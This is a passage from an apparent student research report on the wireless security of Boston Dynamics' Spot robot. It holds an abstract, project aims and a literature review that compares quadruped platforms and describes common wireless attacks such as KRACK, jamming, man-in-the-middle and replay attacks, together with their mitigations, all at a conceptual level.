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[bookmark: _Toc184369158]Abstract/Synopsis
This project investigates the wireless security of mobile robotics, focusing on Boston Dynamics' Spot as a case study. Mobile robots have become essential tools in industries such as construction, healthcare, and defence, performing tasks that require precision, reliability, and adaptability in challenging environments. While advancements in artificial intelligence, sensor fusion, and wireless communication have enabled these robots to operate with high levels of autonomy, they also introduce significant security vulnerabilities. Wireless communication, a critical component for real-time data exchange and remote control exposes mobile robots to threats such as unauthorised access, data interception, and signal jamming.
This project aims to evaluate the current state of wireless security in mobile robotics, identify vulnerabilities, and propose tailored mitigation strategies. Using a combination of literature review, network reconnaissance, and controlled vulnerability testing, the research systematically explores potential attack vectors in Spot’s communication systems. Advanced tools such as Wireshark, Nmap, and Zenmap were employed to conduct penetration tests and analyse wireless network behaviours. Additionally, a contingency plan was implemented to simulate typical wireless vulnerabilities in a controlled environment, ensuring comprehensive results even when Spot's robust encryption systems limited direct vulnerability detection.
Key findings reveal that while Spot's military-grade encryption and advanced security measures provide strong protection against common threats, the potential for targeted attacks, such as jamming and replay attacks still exist. The research highlights critical security gaps and proposes enhanced measures, including robust encryption protocols and anomaly detection systems, to bolster the resilience of mobile robotics.
This study contributes to the broader understanding of wireless security in mobile robotics, offering actionable insights to enhance the safety and reliability of robotic systems in critical applications. The findings are not only applicable to Boston Dynamics' Spot but also provide a framework for addressing wireless vulnerabilities across similar platforms, setting a benchmark for future research and development in robotic cybersecurity. 
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[bookmark: _Toc184369159]Chapter 1 – Introduction
[bookmark: _Toc184369160]Project Brief
This project investigates the wireless security of mobile robots, with a specific focus on Boston Dynamics' Spot. Mobile robotics has rapidly advanced, bringing autonomous and semi-autonomous systems into sectors such as construction, healthcare, and defence. Mobile robots can autonomously navigate dynamic environments, performing tasks requiring precision and reliability, particularly in settings that are unsafe for humans. [1], [2]. The versatility of mobile robots as seen with Spot, has led to their adoption in industrial inspections, hazardous environment monitoring, and emergency response scenarios, where their ability to function independently offers a distinct operational advantage. Key technological components, including sensor fusion, artificial intelligence (AI), and wireless communication, enable mobile robots to perceive their surroundings, interpret complex terrains, and make decisions in real-time. For instance, Spot's use of Simultaneous Localization and Mapping (SLAM) and LiDAR sensors provides it with spatial awareness and environmental adaptability. This is essential for applications in unpredictable and demanding environments [1].
As mobile robots integrate navigation, processing, and control systems, they also introduce new security risks particularly within wireless communication channels [2], [3]. These components work together to make mobile robots highly efficient in conducting repetitive or hazardous tasks in remote or confined settings. AI technologies such as reinforcement learning, further support their ability to adapt and improve task performance. Increasing their suitability for sectors where robots must operate with minimal human intervention. However, as the demand for these robots rises, so does the need for robust security measures to protect their functions and the data they process.
Networks and Wireless Networks underpin the real-time communication necessary for mobile robotics, enabling both autonomous navigation and remote control by operators. Technologies such as Wi-Fi, Bluetooth, and 5G facilitate data exchange essential for command input, sensor feedback, and real-time adjustments, which are critical in applications requiring precise, uninterrupted control. Wi-Fi allows for high data transfer rates and continuous bidirectional data flow, essential for functions like video streaming, sensor data transmission, and dynamic navigation updates [4]. However, this dependence also introduces potential vulnerabilities such as network congestion, signal interference and latency issues. All of which can all impact robotic performance, particularly in busy indoor or urban environments [5]. Bluetooth is another key technology that supports inter-device connectivity in mobile robots. While its low power consumption is ideal for short-range communications, Bluetooth has a history of security issues. These include susceptibility to unauthorised access attacks such as bluejacking, which raises concerns in scenarios requiring data confidentiality [6]. These vulnerabilities in wireless networks make secure communication protocols a priority for safely integrating robots into various industrial and public settings.
Security plays a fundamental role in mobile robotics, where the integrity of data, operational control, and communication channels must be preserved to ensure safe and reliable functionality. The data integrity safeguards the accuracy of information processed by robots, which often informs autonomous decisions that may impact human operators or equipment in the vicinity [7]. Similarly, operational security focuses on the protection of a robot’s physical actions, preventing unauthorised access that could lead to unintended movements or even malicious alterations. For applications involving human safety or critical infrastructure, breaches in operational security can have severe consequences. Given the reliance of mobile robots on networked environments, communication security is equally vital to protect against interception and tampering that could compromise operational stability [8], [9]. Secure data transmission channels and robust authentication methods are required to prevent these vulnerabilities, thereby enhancing the reliability and safety of mobile robots [10].
In this context, Wireless Security introduces specific vulnerabilities to mobile robotics. Wireless channels are susceptible to attacks that exploit weak encryption, protocol weaknesses, and other gaps in security measures. For example, vulnerabilities in Wi-Fi encryption protocols, such as WPA2, expose robotic systems to attacks like KRACK (Key Reinstallation Attack). KRACK targets the WPA2’s 4-way handshake process, allowing attackers to intercept and manipulate data. This threat is especially concerning in robotics, where data interception can undermine autonomous decision-making and operational control [11].Bluetooth attacks like bluesnarfing and bluejacking allow attackers unauthorised access to sensitive information, further raising risks in sensitive environments [12]. Network interference, including jamming and man-in-the-middle (MITM) attacks exploit and disrupts data transfer. This can entirely obstruct command signals, causing potential downtime and safety risks in critical applications [12], [13]. For mobile robots operating in high-risk areas, this disruption could have significant implications.
This project seeks to rigorously assess wireless security vulnerabilities within Boston Dynamics’ Spot, evaluating existing protections and identifying areas for enhancement. By systematically examining these security threats, the project aims to propose mitigation strategies tailored to mobile robotic platforms, contributing to safer, more resilient applications of mobile robotics in essential industries.
[bookmark: _Toc184369161]Research Problem
Mobile robots like Spot are vulnerable to cyber threats such as Distributed Denial of Service (DDoS), Social Engineering (SE), and Denial of Service (DoS) attacks. These attacks could compromise the robot's command, control, and data transmission capabilities, posing risks to operational integrity and safety. Preliminary research indicates a gap in cybersecurity protocols specifically tailored for robotic applications. This project addresses these vulnerabilities to enhance Spot's security resilience, making mobile robots safer for industrial and public use.
[bookmark: _Toc184369162]Aim
To assess and enhance wireless security in mobile robotics, specifically Boston Dynamics' Spot, by identifying vulnerabilities and proposing tailored security measures. This project aims to contribute to a safer integration of mobile robots in industry by providing a comprehensive understanding of robotics wireless security.
[bookmark: _Toc184369163]Smart Objectives
Analyse current wireless security measures in mobile robots: Conduct a literature review, assess industry standards, and perform a comparative analysis across mobile robotic systems.
Develop suitable research methods for vulnerability assessment: Select appropriate vulnerability assessment frameworks, identify potential attack surfaces, and choose analytical tools for packet analysis and wireless simulation.
Identify and categorize potential vulnerabilities based on design: Perform a design analysis, categorize identified vulnerabilities, and conduct a risk assessment of potential threats.
Simulate and test specific vulnerabilities in a controlled environment: Establish a simulation environment to conduct controlled attacks (e.g., replay attacks, jamming) and measure their impact.
Propose and evaluate security enhancements: Develop security protocols based on best practices, implement these enhancements in the simulation, and evaluate their effectiveness.
[bookmark: _Toc184369164]Chapter 2 – Research and Review Of literature
[bookmark: _Toc184369165]Introduction
This section will produce a literature review that will provide a comprehensive overview of existing research and knowledge related to wireless security in mobile robotics. It will be ensured that all sources of information such as peer-reviewed journals, books, and scientific papers, are reliable. The literature review will begin by providing an overview of Boston Dynamics and its flagship mobile robot Spot, focusing on its capabilities, applications, and relevance within the field of mobile robotics. Following this the review will expand its scope to alternative robotics platforms such as Anybotics' Anymal, Unitree's B2, and Ghost Robotics' Vision 60, comparing their functionalities and security approaches to those of Spot. 
The review will then focus on wireless security within mobile robotics. This section will examine the critical importance of secure communication protocols. It will highlight the unique security challenges posed by mobile robots' reliance on wireless networks. It will explore the common vulnerabilities such as weak encryption, insecure data transmission and potential attack vectors that could compromise mobile robot functionality. To provide a robust understanding of the security landscape, the literature review will cover existing wireless security measures and frameworks used across mobile robotic platforms. Peer-reviewed studies on vulnerability assessments will be analysed to identify current tools and methodologies for detecting and mitigating wireless threats in mobile robotics.
Furthermore, the review will also address the implications of these vulnerabilities for practical applications like industrial use, military, and healthcare where mobile robotics are increasingly being deployed. The review aims to build a comprehensive knowledge base by reviewing key research areas: Boston Dynamics’ Spot, alternative mobile robotics, wireless security, and vulnerability assessment frameworks. By doing so, it will provide the context necessary for understanding the broader implications of wireless security challenges in mobile robotics, setting up the research that will follow.
[bookmark: _Toc184369166]Review of literature Methodology
To conduct the literature review various academic databases and search engines were used to ensure the inclusion of relevant, peer-reviewed sources related to wireless security in mobile robotics. Databases such as IEEE Xplore, Google Scholar, and SpringerLink were used to find high-quality academic papers, conference proceedings, and technical reports. Specific keywords and phrases, including "mobile robotics," "wireless security," "vulnerabilities," and "robotic communication protocols," were used to identify relevant sources. A clear set of inclusion and exclusion criteria was set. This ensures that only the most relevant and credible sources were considered. The key factors for inclusion were:
Publication Date: Preference was given to more recent studies to capture the most up-to-date advancements in wireless security for mobile robotics.
Source Credibility: Priority was given to peer-reviewed journals, technical reports, and conference papers to ensure the reliability of the information.
Each source was thoroughly analysed to determine its relevance and quality. This process involved skimming abstracts and key sections of full texts to evaluate their use to the project's objectives. Once selected key findings were extracted and summarised. This allows for the identification of emerging trends, themes, and gaps in the existing research. These trends provide the foundation for the comprehensive narrative built in the literature review.
Finally, potential limitations of the literature review were acknowledged. These include the possibility of bias in the selection of sources, particularly if certain aspects of wireless security were under-researched. Additionally, gaps in existing research and the rapidly evolving nature of both robotics and wireless security technologies may limit the completeness of the review. These limitations were considered when analysing and interpreting the literature.
[bookmark: _Toc184369167]Review Of literature
[bookmark: _Toc184369168]Introduction to mobile robotics
Mobile robotics is an advanced field focusing on robots capable of autonomous or semi-autonomous movement across varied environments, making them invaluable in situations where adaptability to dynamic settings is essential. Distinct from stationary robotic systems, mobile robots integrate navigation, processing, and control systems, enabling them to navigate autonomously, interact with their surroundings, and perform complex tasks with minimal human input. According to IEEE research, this capability has driven their adoption across numerous fields, including construction, healthcare, and military applications[1]. Their potential to perform repetitive or hazardous tasks makes them an efficient tool for industries where human safety and operational control are paramount[2].
In the construction industry, mobile robots like Boston Dynamics’ Spot autonomously navigate sites, conducting inspections and gathering data in challenging terrains. This minimizes risks associated with hazardous environments, ensuring a safer and more productive site. The role of mobile robotics extends to healthcare, where these robots have supported non-contact services like patient monitoring and delivery of medical supplies, particularly highlighted during the COVID-19 pandemic. In high-risk military settings, mobile robots enhance safety by undertaking reconnaissance and navigation in hazardous areas, collecting crucial data while reducing personnel exposure to danger [1], [2].
The technical foundation of mobile robotics includes three core components: sensor integration, artificial intelligence (AI), and wireless communication. Sensor fusion, a critical aspect of mobile robotic systems, allows these robots to integrate information from various sources, such as LiDAR, cameras, and ultrasonic sensors, enabling accurate mapping and obstacle detection essential for autonomous navigation. Sensor fusion provides a comprehensive view of the robot’s environment, ensuring reliable performance even in unstructured or unfamiliar settings, as emphasized in studies on the challenges of sensor integration in mobile robots[1].
AI and machine learning, particularly reinforcement learning, play a transformative role by enabling robots to adapt to environmental changes and improve their task efficiency over time. Reinforcement learning algorithms allow robots to refine their navigation and obstacle avoidance capabilities by learning from real-world interactions, making them adept at handling dynamic and unpredictable settings​[3]. This adaptability, driven by AI, is crucial for applications where robots must operate with limited pre-programming and high levels of autonomy, such as in defence or emergency response.
Finally wireless communication systems, including Wi-Fi and Bluetooth, support real-time data exchange and remote control. This capability is vital for applications in healthcare and military settings, where continuous oversight and adaptability are necessary. By enabling seamless command and data transfer, wireless connectivity allows operators to intervene or adjust robotic tasks instantly, thereby maximizing both safety and efficiency [2].
In summary Mobile robotics focuses on autonomous or semi-autonomous robots designed to navigate diverse environments, enabling them to perform tasks efficiently in industries such as construction, healthcare, and military. These robots use sensor fusion to map surroundings and avoid obstacles, combining inputs from LiDAR, cameras, and ultrasonic sensors for spatial awareness​. Artificial intelligence, particularly through reinforcement learning, further enhances their adaptability, allowing robots to refine navigation and task execution over time by learning from interactions within their environments​. Wireless communication systems like Wi-Fi and Bluetooth support real-time control and data exchange, crucial for tasks requiring immediate monitoring or remote intervention. Together, these technologies make mobile robot’s powerful tools for enhancing productivity, safety, and operational control in dynamic and often hazardous settings.
[bookmark: _Toc184369169]Overview of Boston Dynamics and Spot
The increasing deployment of autonomous robots into critical industries has grown exponentially over the last decade. These industries span various applications, from robots used for monitoring and surveillance in security settings to delivery robots for everyday shopping. These robots are increasingly leading the way in completing tasks efficiently and reducing the overall costs associated with task execution. Not only will these robots be used to make tasks more efficient, but they will make tasks safer and more controlled as it will remove the human element.
Despite the advantages of integrating these robotics systems it poses a concern in terms of cybersecurity, specifically with wireless communication methods. These robots are built around operating through wireless communication as it offers a form of flexibility and control. However, these communication methods offer potential vulnerabilities for malicious actors to exploit. The wireless communication methods are used for a variety of purposes including data transmission, command, and control. The functions can be affected by a range of cyber threats like eavesdropping and denial of service (DoS) attacks. These potential vulnerabilities pose the threat to the operations of the robot and the human life around it, further leading to significant financial ad reputational damages.
Boston Dynamics spot allows for remote operation ad data exchange opening it up to the vulnerabilities previously discussed. Preliminary research of existing literature and industry reports suggest that while general cybersecurity principles are increasingly applied to robotic systems, specific investigations into the unique vulnerabilities of robots like Spot are lacking. The paper ‘Cybersecurity issues in Robotics’ [14] highlights that the impact of cyber-attacks has been explored however the technologies and system used have not been assessed adequately enough as of now. while the impacts of cyber-attacks are studied, there is a marked absence of detailed investigations. The gap in this research becomes concerning when looking at the potential environments these robots could be deployed where a cybersecurity threat could be catastrophic.
It is imperative that the potential of wireless security vulnerabilities in spot are addressed. The consequences of security breaches to spot could lead to severe outcomes for public safety and industrial operations. This highlights the necessity for dedicated research into this topic, to dissect and vulnerabilities and enhance its overall security framework. This will result in an overall more robust robot with unique security tailored to its needs.
This project will aim to assess the current wireless security measures that have been implemented in mobile robotics with a deeper look into Boston dynamics Spot. Vulnerabilities will be identified and comprehensive strategies to mitigate these risks will be suggested. The identification of these vulnerabilities will contribute to the safe and secure integration of robotic technologies inro our societies. The outcome of this research aims to not only benefit the operational security of BD robots but also set the standard for cyber security practices in robotics more broadly.
Over recent years the field of autonomous robots has seen remarkable advancements. The way tasks are performed across all sectors have been revolutionised through the implementation of these robots. These machines can perform complicated tasks without the intervention of humans. Manufacturing lines, defence systems and service industries are just some of the sectors that have had autonomous robots integrated into them. 
The reason for the integration is due to the enhanced efficiency, accuracy, and safety that the robots offer to the environments to which they are introduced. These robots become especially effective in hazardous or inaccessible environments to humans. The robotics focus of this research will be around Boston Dynamics (BD). BD have pioneered the field of robotics making major advancements in automation and mobility. The company was founded in 1992 as a subset of the Massachusetts Institute of Technology (MIT). BD set themselves at the forefront of robotics by creating highly mobile robots that are designed to work in challenging environments. The overall aim of BD is to create robots that can perform tasks with emphasis on mobility, dexterity, and intelligence in environments like industrial plants and rough terrain[15]. 
BD have a wide portfolio of some of the most advanced robots in the world such as spot, a nimble quadruped robot, Atlas, a dynamic humanoid robot and stretch, a warehouse operations robot. Atlas in particular shows BD focus on advanced control systems and hardware. This enables the atlas robot to perform complex and dynamic tasks accurately with advanced agility and balance[15]. The Spot and Atlas robots are great examples of technological innovation but also showcase practical robotics applications in a variety of industries such as delivery, inspection, and entertainment. The design and functionality of the BD robots often come from living organisms such as dogs, humas and deer. This helps them navigate and adapt to their environments effectively as they are modelled of organisms that have taken millions of years to adapt to their environments[16]. The acquisition of BD in 2021 by Hyundai Motor Group has further enhanced the capability and opportunity to integrate their robotics into broader applications, promising continued innovation and expansion[17].
The focus of this project will be around BD’s Spot robot. Spot has been engineered with a range of capabilities for versatility and effective performance in diverse environments. Spot has been used an array of functions from routine industrial inspections to operations in hazardous conditions and even bomb disposals. Spots advanced mobility is enabled through its quadruped design, this allows for it to navigate over rough and awkward terrain, including stairs and slippery surfaces. Spot is also programmed with the ability to autonomously replan its path, navigating around obstacles showing its potential utility in environments such as construction sites[18]. 
In terms of applications spot has been effectively used for LiDAR (light detection and ranging) scanning in construction sites. This demonstrates its effectiveness in the creation of accurate 3D maps for monitoring purposes. This application of spot aids in maintaining up to date records of construction progress ensuring structural integrity through detailed surface analysis[19]. Spot is also equipped with RFID technology that has been adapted for automated tool tracking on construction sites. The integration of this technology in spot allowed for monitoring and management of resources in these construction sites. This helped to enhance the operational efficiency of the site and mitigated the loss or theft of equipment[20]. Spots operational capabilities and design makes it well suited to working in these hazardous environments that are not well suited and unsafe for humans. Its robust design and sensory equipment allow for it to operate in these environments effectively, to perform tasks like environmental scanning and data collection without the need for direct human interaction[21].
Spot utilises a technology called Simultaneous Localisation and Mapping (SLAM). This technology is fundamental to its autonomous navigation methods. SLAM allows for the robot to map the environment it is in while keeping tracking of its own location in that area. Spot uses its built-in sensors to gather a variety of data which is processed to then manoeuvre and make decisions in real time. The integration of the LiDAR sensors also aids in the completion of complex tasks like point cloud feature utilisation and loop detection. These features are crucial for spots ability to have detailed spatial analysis and environmental interactions[22].
In summary, Boston Dynamics has established itself as a leader in robotics, focusing on high-mobility, adaptable robots such as Spot, Atlas, and Stretch. These robots exemplify cutting-edge design and functionality, with Spot standing out for its quadrupedal structure and versatility across industries. Spot’s capabilities—such as autonomous path planning, SLAM (Simultaneous Localization and Mapping) for navigation, and integration with advanced sensory tools like LiDAR—make it ideal for diverse applications, from industrial inspections to hazardous field operations. While these technologies demonstrate significant advancements, Spot’s reliance on wireless communication for remote operation introduces potential cybersecurity vulnerabilities, particularly to malicious attacks targeting its command and data transmission systems. This underscores the need for dedicated research into Spot’s wireless security to ensure its safe, reliable deployment in critical environments. The outcomes of such research could [image: ]enhance not only Spot’s resilience but also set a security benchmark for similar robotic platforms.

[bookmark: _Toc184247286]Figure 1: Boston Dynamics Spot



[bookmark: _Toc184369170]Alternative Mobile robotics Platforms
Boston Dynamics’ Spot is one of the most recognised mobile robots, but other platforms have emerged with mobile robots designed for diverse environments and industries with both similar and different capabilities. These robots, like Anybotics’ Anymal, Unitree’s B2, and Ghost Robotics’ Vision 60, offer unique features and functionalities. This section will explore the alternative mobile robotics platforms and their relevance to the broader context of wireless security in robotics.
1. Anybotics Anymal
The ANYmal robot, created by ANYbotics, is a quadruped designed specifically for industrial inspections, particularly in hazardous environments. Its robust features include IECEx and ATEX Zone 1 explosion-proof certifications, making it suitable for explosive atmospheres in sectors like oil and gas. Equipped with a 360-degree LiDAR system and depth cameras, ANYmal achieves high precision in mapping and navigation, enabling operations in multi-level industrial environments without GPS or navigation markers [23].
In terms of wireless architecture, ANYmal emphasizes autonomous, offline functionality through edge computing, minimizing reliance on network connectivity. This design ensures that data is processed locally, reducing cybersecurity risks by encrypting and transferring information only when necessary. In contrast, Boston Dynamics’ Spot primarily depends on continuous Wi-Fi or LTE connectivity for control and data exchange, making it versatile for general applications but potentially more exposed to cyber threats​[23].
Comparatively, while Spot offers impressive adaptability for tasks like construction inspections, ANYmal’s design is explicitly tailored for high-risk industrial scenarios. It uses a rugged build and modular sensor payloads, including thermal and gas detection capabilities, to assess equipment states and identify anomalies autonomously. Spot’s versatility in less hazardous settings contrasts with ANYmal’s security-focused architecture and industrial integration capabilities, making ANYmal a preferred option for critical infrastructure monitoring[23].
[image: ]
[bookmark: _Toc184247287]Figure 2: ANYbotics ANYmal

The Unitree B2 is a powerful, industrial-grade quadruped robot, engineered to handle intensive applications in settings like industrial automation, emergency rescue, and security. Known for its high speed, the B2 can reach up to 6 m/s, making it one of the fastest robots in its class. Its design enables it to carry up to 40 kg while in motion, with a maximum load capacity of 120 kg when stationary, allowing it to undertake physically demanding tasks in rugged environments. Equipped with an array of sensors, including LiDAR and depth-sensing cameras, the B2 autonomously navigates and performs inspections across complex terrains, climbing stairs and overcoming obstacles up to 40 cm high[24].
The B2’s autonomy is supported by a robust battery system, with a swappable lithium battery that enables five hours of operation when unloaded and four hours under a 20 kg load. This extended operational time makes it ideal for tasks that require long-duration deployments in large industrial facilities. However, its reliance on networked communication for data transfer introduces potential security vulnerabilities, particularly in high-stakes industrial environments where data protection is critical[24]. Without robust security protocols, network-based threats could potentially impact its performance. In contrast, Boston Dynamics’ Spot robot emphasizes more controlled, versatile applications in settings like construction, where Wi-Fi or LTE connections allow for precise, remote-controlled operations.
[image: ]
[bookmark: _Toc184247288]Figure 3: Unitree B2
The Ghost Robotics Vision 60 is a rugged, quadruped Unmanned Ground Vehicle (Q-UGV) engineered for demanding military and defence applications. Its all-weather capabilities allow it to perform in diverse environments, from urban areas to rough, natural terrains, making it highly versatile for defence, homeland security, and enterprise use. The Vision 60 is equipped with an IP67 rating, ensuring it is dust-tight and waterproof, which enhances its operational reliability in challenging conditions[25].
The Vision 60 is heavily utilized for military applications like reconnaissance, perimeter patrolling, and intelligence, surveillance, and reconnaissance (ISR) missions. Its modular design allows it to carry a range of payloads, such as cameras, sensors, and even weaponry in specific configurations. Notably, the U.S. Army has tested Vision 60 for tasks including patrolling and surveillance at critical locations like Tyndall Air Force Base, demonstrating its effectiveness in reducing personnel exposure to hazardous environments​ [25], [26].
In terms of wireless communication and control, Vision 60 supports long-range, real-time data transmission, allowing operators to receive continuous updates even in remote or unstructured settings. It utilizes a control pad resembling a gaming controller for intuitive handling, and its adaptable software enables it to self-correct if it falls, maintaining its stability in unstable terrains. For secure data transmission, Vision 60’s architecture supports encrypted communications and can relay data to command centres, reinforcing its role in ISR and sensitive operations where data integrity is crucial[25].
[image: ]
[bookmark: _Toc184247289]Figure 4: Ghost Robotics Vision 60
Wireless Communication Protocols in Mobile Robotics
Wi-Fi is essential for real-time communication in mobile robotics, particularly for applications requiring high data transfer rates, like video streaming, sensor data transmission, and remote control. Studies have shown that Wi-Fi networks are instrumental in autonomous robotic navigation, where they support bidirectional data flow for sending commands to robots and receiving feedback from onboard sensors. However, Wi-Fi faces several limitations, especially in congested network environments. For instance, Pandey & Parasuraman (2022) highlight those issues like signal interference, packet loss, and delay can significantly impact robotic performance, especially in dense indoor settings[4].
From a security perspective, Wi-Fi networks are particularly vulnerable to eavesdropping and MITM attacks when using outdated protocols (e.g., WPA2). Even with improvements introduced by WPA3, challenges like backward compatibility and computational demand on robotic systems limit full adoption in the field of mobile robotics [5].
Bluetooth enables short-range communication with low power consumption, making it ideal for local inter-device connectivity in mobile robots. Although newer versions like Bluetooth 5.0 offer enhanced security, the protocol has historically been vulnerable to attacks such as bluesnarfing and unauthorised access. The simplicity and energy efficiency of Bluetooth remain advantageous, though its security limitations must be managed carefully in sensitive applications[6].
Cellular networks, particularly 5G, offer high bandwidth and low latency, making them effective for long-distance communication in mobile robots. These networks support applications with stringent data requirements, such as real-time navigation and remote operations. Despite advancements in 5G security, the network’s complexity introduces issues with interference and jamming, which can affect the reliability of robot control in dense environments[5].

[bookmark: _Toc184369172]Wireless Security in Mobile robotics
The importance of cybersecurity in robotics encompasses several core aspects: data integrity, operation security, and communication security. Each of these elements is crucial to ensuring that robotic systems are safe, reliable, and resistant to unauthorised access or malicious attacks.
Data integrity in robotics ensures that the data collected, processed, and stored by robots remains accurate and unaltered from its original form. This is crucial because robotic systems often make decisions based on the data they collect. Any corruption of this data could lead to incorrect decisions that may pose safety risks or result in operational failures. Ensuring data integrity involves using robust cryptographic methods to detect and prevent data tampering [14].
Operation security in robotics involves securing the operational capabilities of robots. This includes safeguarding the software and hardware that control the robot's physical actions to prevent unauthorised control or manipulation of robotic functions. Operation security is vital for preventing incidents that could lead to injury, damage, or downtime in critical industrial applications [8]
Robots frequently operate within networked environments where they communicate with control stations, other robots, and cloud-based services. Securing these communications is essential to prevent eavesdropping, data breaches, and interception attacks. Effective communication security measures include using encrypted channels for data transmission, secure authentication protocols, and regular updates to security measures to address new vulnerabilities [9].
The use of wireless communications in robotics introduces several vulnerabilities. Technologies like Wi-Fi and Bluetooth are commonly used but they have inherent security weaknesses. These vulnerabilities include eavesdropping, unauthorised access, and data manipulation, all of which must be addressed to ensure secure robotic operations.
Eavesdropping occurs when unauthorised parties intercept unsecured or poorly secured wireless signals. This is a significant risk with Wi-Fi and Bluetooth communications. Data transmitted over the air can be easily intercepted. This does not require physical access to the network or devices. To combat this, it is vital to implement strong encryption protocols. Secure pairing mechanisms in wireless robotic systems are also crucial[14].
Unauthorised access happens when someone infiltrates a robotic system's wireless communication channels without permission. This breach can lead to unauthorised control over the robot. It might also result in the alteration of operational parameters or theft of sensitive data. Robots that use Wi-Fi or Bluetooth are particularly vulnerable. They are susceptible to attacks that target weaknesses in authentication and authorization processes. To protect against these threats, robust security measures are necessary. These include multi-factor authentication and continuous monitoring[10].
Data manipulation involves changing the data transmitted between the robot and control systems or among multiple robots. Attackers might alter commands or sensor data sent over wireless networks. This could lead to incorrect actions or responses by the robot. To ensure data integrity, it is important to encrypt the data. Additionally, integrity checks such as checksums or cryptographic hash functions should be used. These checks help verify that the data has not been altered during transmission[9].
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Weak Encryption
Meny Wi-Fi networks still use outdated encryption methods, which expose robotic systems to attacks like KRACK. The KRACK (Key Reinstallation Attack) vulnerability exploits a weakness in the WPA2 security protocol, allowing attackers to intercept and manipulate data in Wi-Fi networks by targeting the 4-way handshake process. When a device connects to a network using WPA2, this handshake authenticates and encrypts the connection. However, KRACK forces the reinstallation of an encryption key that should be used only once, causing nonces (random numbers used to prevent repeated data) to reset. This allows an attacker to decrypt, replay, or even forge packets, potentially eavesdropping on sensitive data or injecting malicious content without knowing the Wi-Fi password. KRACK affects all devices using WPA2, including those in robotics, making it a critical vulnerability where secure data flow is essential for operational safety[11].
Insecure Communication Channels
Protocols like Bluetooth often have less stringent security features due to their design for low-energy, short-range communications, exposing devices to attacks like bluejacking and bluesnarfing. In robotics, insecure communication channels can allow unauthorised parties to intercept or manipulate data exchanges, especially in public or uncontrolled environments. For example, an attacker could access sensitive information or interfere with control commands, causing unintended actions. Using advanced encryption protocols, regular firmware updates, and secure pairing processes can help mitigate these vulnerabilities​[12].
Network Interference and Jamming
Network Interference and Jamming attacks are another common wireless vulnerability, jamming attacks involve overwhelming a communication channel with noise, disrupting data transfer and control signals in wireless networks. This type of attack can be particularly disruptive in mobile robotics, where constant connectivity to control systems or other robots is essential. Without sufficient anti-jamming techniques, a robot's communication could be entirely blocked, resulting in operational downtime or loss of control. Anti-jamming measures, like frequency hopping and signal randomization, can reduce the risk of interference, though they are not always foolproof, especially in highly congested environments​[12]. 
Man-in-the-middle (MITM) Attacks
In a MITM attack, an attacker intercepts the communication between two devices, potentially altering or injecting malicious data. In robotics, this could lead to altered control signals or misinformation sent to sensors, affecting the robot’s actions. This vulnerability highlights the need for encrypted communication and secure channel monitoring. Implementation of SSL/TLS encryption, alongside robust authentication methods, can significantly reduce MITM risk, making it harder for unauthorised parties to intercept and manipulate data[12].
Replay attacks and data spoofing 
Replay attacks involve intercepting valid data packets and resending them to the network, often causing devices to repeat actions based on outdated commands. This can lead to operational disruptions in robotics, where each command's timing is critical for maintaining proper function. Data spoofing, similarly, involves injecting false information into a communication channel, which could mislead the robot’s control systems and sensor interpretations. To counter these attacks, it is recommended to use cryptographic hashes, time-stamped communications, and regular integrity checks that ensure data validity[13]
Specific Challeneges Related to mobile robotics
One of the key challenges in securing mobile robots lies in the fact that mobile robots are highly reliant on wireless communication for transmitting control commands and sensor data, rendering them vulnerable to attacks that can disrupt operations or compromise sensitive information. These vulnerabilities include denial of service (DoS) attacks, unauthorised access, and data tampering, which can significantly impact the performance and reliability of robotic systems. To mitigate these risks and ensure the integrity of these robots in dynamic environments, it is crucial to implement robust encryption protocols, secure authentication mechanisms, and anomaly detection systems.
A detailed analysis of cyber-physical systems, particularly mobile service robots, explores how their dependence on wireless networks exposes them to a range of security challenges. The study identifies common attack vectors, such as man-in-the-middle attacks and DoS, and highlights their potential consequences on the safety and operational stability of robots. To address these threats, the authors recommend the integration of encryption techniques alongside proactive monitoring tools capable of detecting abnormal communication patterns in real time. Their findings provide a valuable framework for improving wireless security in robotic systems, emphasising the need for resilient architectures to withstand adversarial conditions[27].
The incorporation of artificial intelligence (AI) into mobile robots has facilitated sophisticated capabilities, including autonomous navigation and decision-making. However, these AI systems are inherently susceptible to adversarial inputs and data poisoning, which can compromise a robot's ability to execute tasks accurately or safely. For instance, malicious individuals might manipulate the data used to train or direct machine learning models, resulting in errors or hazardous behaviours. To address these challenges, it is crucial to implement robust training methods, real-time monitoring, and adaptive defence mechanisms to protect AI-driven operations.
A comprehensive survey delves into the security implications of AI in robotics, particularly focusing on how AI expands the attack surface of these systems. The study highlights vulnerabilities such as adversarial attacks, where subtle alterations to input data can lead to incorrect decisions, and data poisoning, which corrupts machine learning models during their training phase. Despite the existence of countermeasures, including resilient training algorithms and monitoring systems, the study notes that gaps persist in ensuring the overall reliability of AI-based robotics. The authors emphasise the need for interdisciplinary collaboration to address these emerging vulnerabilities, advocating for the development of robust frameworks that secure AI-driven systems against increasingly sophisticated threats[28].
Mobile robots frequently depend on microcontroller-based systems for essential operations, rendering these components particularly vulnerable to firmware tampering, unauthorised data access, and other hardware-level threats. These weaknesses can undermine the robot's functionality and create opportunities for further exploitation. Ensuring the security of these components requires the development of robust system designs that integrate cryptographic techniques and structured algorithms, all while preserving optimal performance.
A focused study examines the design of secure microcontroller-based systems for mobile robots, emphasising strategies to counter hardware and firmware vulnerabilities. The authors suggest integrating cryptographic approaches, such as secure boot mechanisms and firmware encryption, with structured development frameworks to build tamper-resistant systems. Using case studies, the paper illustrates how these measures can improve security without compromising the robot's operational efficiency. By outlining practical design methodologies, the study offers engineers a comprehensive guide to achieving a balance between security and performance in robotic systems[29].
Case Studies of REAL-WORLD wireless attacks/ security failures
In 2020, cybersecurity firm Alias Robotics conducted penetration testing on Mobile Industrial Robots (MiR), commonly employed in industrial and healthcare settings. The assessment uncovered significant vulnerabilities, highlighting how attackers could exploit weaknesses in the robots' wireless communication and control systems. The testing identified weak authentication mechanisms that enabled attackers to gain unauthorised remote access to the robots. This flaw would have allowed malicious actors to manipulate the robots' operations, undermining their safety and reliability.
The study also uncovered an absence of encryption in the communication protocols, exposing data transmissions between the robots and their control systems to interception and manipulation. This vulnerability could allow attackers to modify critical instructions or extract sensitive information. Additionally, the robots were found to be prone to denial-of-service (DoS) attacks, where overloaded communication channels could render them unresponsive, leading to severe operational disruptions.
To mitigate these risks, the case study highlights the importance of implementing robust security practices. These include the use of strong authentication mechanisms, such as two-factor authentication, to prevent unauthorised access. It also underscores the necessity of employing end-to-end encryption to protect the integrity and confidentiality of data transmitted over wireless networks. Lastly, the study stresses the value of regular security audits and penetration testing to identify and address vulnerabilities proactively[30].
